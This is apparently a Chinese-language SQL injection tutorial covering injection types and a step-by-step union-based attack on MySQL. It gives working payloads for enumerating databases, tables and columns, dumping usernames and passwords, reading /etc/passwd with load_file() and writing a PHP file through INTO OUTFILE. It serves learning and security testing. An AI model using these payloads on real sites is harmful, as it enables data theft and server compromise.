0x01 SQL注入的原理
针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原
有SQL结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结外一下
两个原因叠加造成的:
1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句
2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。
0x02 SQL注入的分类
一、根据注入点数据类型
1.整型注入
在 Web 端大概是 /news.php?id=1 这种形式,其注入点 id
类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where
id=1。组合出来的sql注入语句为:select * from news where id=1 and 1=1
2.字符串型注入
在 Web 端大概是 /news.php?name=admin 这种形式,其注入点 name
类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where
name=‘admin’。注意多了引号。组合出来的sql注入语句为:select * from news where chr=‘admin’
and 1=1 ’ ’
闭合单引号chr=‘admin’ union select 1,2,3,4 and ‘1’='1 ====>
chr=‘admin’(闭合前面单引号) union select 1,2,3,4 and ‘1’=‘1’
3.搜索型注入
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的
SQL 语句,其原形大致为:select * from 表名 where 字段 like ‘%关键字%’。
组合出来的sql注入语句为:select * from news where search like ‘%测试 %’ and
‘%1%’=’%1%’
测试%’ union select 1,2,3,4 and ‘%’=’
区分标准:SQL语句中查询条件的数据类型
二、根据注入的语法分类
1.联合查询注入:可以使用union的情况下的注入。
2.报错型注入:即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
3.布尔型注入:即可以根据返回页面判断条件真假的注入。
4.基于时间延迟注入:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
5.可多语句查询注入(宽字节注入):可以同时执行多条语句的执行时的注入,也叫堆查询注入。
0x02 联合查询注入的条件
(速度最快)
1.存在注入点
2.有显示位
0x03 联合查询注入步骤
一、判断注入类型
and 1=1 / and 1=2 回显页面不同(整型判断)单引号判断 ’ 显示数据库错误信息或者页面回显不同(整型或字符串类型判断)\(转义符)-1 / +1回显下一个或上一个页面(整型判断)and sleep(5) (判断页面返回时间)
二、判断字段数
order by 10
……
使用二分法判断
三、判断显示位
php?id=-1 union select 1,2,3,4,5
或
php?id=-1 union select null,null,null,null,null
或
php?id=-1 union select (1),(2),(3),(4),(5)
四、获取当前数据库名称和当前连接数据库用户
php?id=-1 union select 1,2,database(),4,5php?id=-1 union select 1,2,user(),4,5
五、列出所有数据库
使用limit一个一个的打印出来库名
select schema_name from infromation_schema.schemata limit 0,1
使用group_concat()一次性显示全部
说明:group_concat()函数可在一行显示所有查询结果。
concat_ws(分隔符,str1,str2,……)函数可以同时显示多个字段,并以 分隔符 分开。
concat(str1,str2,str3,…)函数可以同时显示多个字段,其中有一个字段为null,则返回null。
select group_concat(schema_name) from information_schema.schemata
六、列出数据库中所有的表
通过limit一个一个打印出来
select table_name from information_schema.tables where table_schema='数据库名' limit 0,1
通过group_concat()函数一次性全部显示
select group_concat(table_name) from information_schema.tables where table_schema = '数据库名'
注意:数据库名称可以用十六进制来代替字符,这样可以绕过限制
七、列出所有字段(数据库:test 表:admin)
limit一个一个的打印出来
select column_name from information_schema.columns where table_schema='test' and table_name='admin' limit 0,1
group_concat()一次性全部显示
select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='admin'
八、列出数据(数据库:test 表:admin)
limit一个一个打印出来
selec username,passwd from test.admin limit 0,1
group_concat()一次性全部显示
select group_concat(concat(username,0x20,passwd)) from test.admin0x20-->空格
0x04 MySQL读写文件函数利用
load_file() 函数
读文件操作
前提:
知道文件绝对路径
能够使用union查询
对web目录有写权限
union select 1,load_file(’/etc/passwd’),3,4,5,6#
union select 1,load_file(十六进制代码),3,4,5,6#
into outfile()
写文件操作
前提:
文件名必须全路径(局对路径)
用户必须有写文件的权限
没有对 ’ 单引号过滤
selec ‘<?php phpinfo();?>’ into outfile ‘c:\windows\tmp\1.php’